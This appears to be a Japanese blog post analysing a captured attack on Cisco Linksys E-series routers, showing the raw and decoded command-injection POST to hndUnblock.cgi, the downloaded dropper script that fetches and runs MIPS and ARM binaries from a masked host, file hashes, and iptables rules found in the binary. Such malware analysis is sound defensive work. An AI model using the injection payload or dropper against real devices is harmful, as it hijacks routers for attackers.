Cisco Linksys E-seriesを狙ったような攻撃をキャッチ
CiscoのLinksys E-seriesを狙ったような攻撃をキャッチしたので、ご紹介します。
CiscoのLinksys E-seriesとは
Ciscoから販売されている自宅用のワイヤレスルータのようです。
今回の攻撃
POST /hndUnblock.cgi HTTP/1.1 Accept: */* Content-Length: 384 Content-Type: application/x-www-form-urlencoded Host: XXX.XXX.XXX.XXX User-Agent: Wget(linux) submit_button=&change_action=&action=&commit=&ttcp_num=2&ttcp_size=2&ttcp_ip=-h `%63%64%20%2F%74%6D%70%3B%72%6D%20%2D%66%20%6E%6D%6C%74%31%2E%73%68%3B%77%67%65%74%20%2D%4F%20%6E%6D%6C%74%31%2E%7・・・`&StartEPI=1
hndUnblock.cgiに対して、POSTリクエストが投げられているので、Cisco Linksys E-seriesを狙ったアタックのように推測しています。(情報が少なかったので、間違っている可能性はあります。)
BODY部分がURLエンコードされているので、実際はどんな処理をされているのか、これを見ただけでは判断できないので、早速デコード処理をしてみたいと思います。
すると、
submit_button=&change_action=&action=&commit=&ttcp_num=2&ttcp_size=2&ttcp_ip=-h `cd /tmp;rm -f nmlt1.sh;wget -O nmlt1.sh http://XXXXXX/nmlt1.sh;chmod +x nmlt1.sh;./nmlt1.sh`&StartEPI=1
こんな感じになりました。
まず/tmpに移動して、そこでnmlt1.shをダウンロードし、実行権限を付与してから、実行するという処理になっています。
nmlt1.shは何者なのか調べてみたところ、下記のような内容になっていました。
#!/bin/sh cd /tmp ps | grep -v grep | grep .nttpd && exit 0 rm -f .nttpd wget -O .nttpd http://XXXXXX/.nttpd,21-mips-le-t1 chmod +x .nttpd ./.nttpd && exit 0 rm -f .nttpd .nttpd-z wget -O .nttpd-z http:/XXXXXX/.nttpd,21-arm-le-t1-z chmod +x .nttpd-z ./.nttpd-z && exit 0 rm -f .nttpd .nttpd-z wget -O .nttpd-z http://XXXXXX/.nttpd,21-mips-be-t2-z chmod +x .nttpd-z ./.nttpd-z && exit 0
3つダウンロードファイルがあるのですが、それぞれダウンロードしてから実行して次のファイルをダウンロードして実行するという動きになっています。
それぞれのファイルが何かfileコマンドを使って調べて見たところ、どれも実行ファイルのようでした。 3つ目のダウンロードコマンドは2つ目のファイルを上書きするようなコマンドになりますが、それぞれサイズが違うので中身は違う実行ファイルのようでした。
-rw-rw-r-- 1 ubuntu ubuntu 50156 Nov 10 13:55 .nttpdh ←1つ目のファイル -rw-rw-r-- 1 ubuntu ubuntu 37583 Nov 10 14:20 .nttpd-z←2つ目のファイル -rw-rw-r-- 1 ubuntu ubuntu 44736 Nov 10 14:13 .nttpd-z←3つ目のファイル
1つ目のファイル
$ file .nttpd .nttpd: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked (uses shared libs), stripped $ md5sum .nttpd 057d56b7de1e9460bd13c5c6eafd4559 .nttpd
2つ目のファイル
$ file .nttpd-z .nttpd-z: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked (uses shared libs), stripped $ md5sum .nttpd-z 20f9f7ae0c6d385b0bedcdd618c478dc .nttpd-z
3つ目のファイル
$ file .nttpd-z .nttpd-z: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked (uses shared libs), stripped $ md5sum .nttpd-z 53494b8867654d06ea1b5aec0ed981c1 .nttpd-z
これらのファイルを実行するのは危険なので、stringsコマンドを使用して1つ目のファイル(.nttpd)の可読部分だけ確認してみたところ、一部下記のような記述が見受けられました。
INPUT -s XXX.XXX.XXX.0/24 -j ACCEPT INPUT -s YYY.YYY.YYY.0/24 -j ACCEPT INPUT -s ZZZ.ZZZ.ZZZ.0/24 -j ACCEPT
特定のIPアドレスから接続を許可するような設定を行うような記述と思われますので、上記のファイルが実行されてしまった場合は、これらのIPアドレスから操作を可能にするようなファイルと推定されます。
怖いですね。。。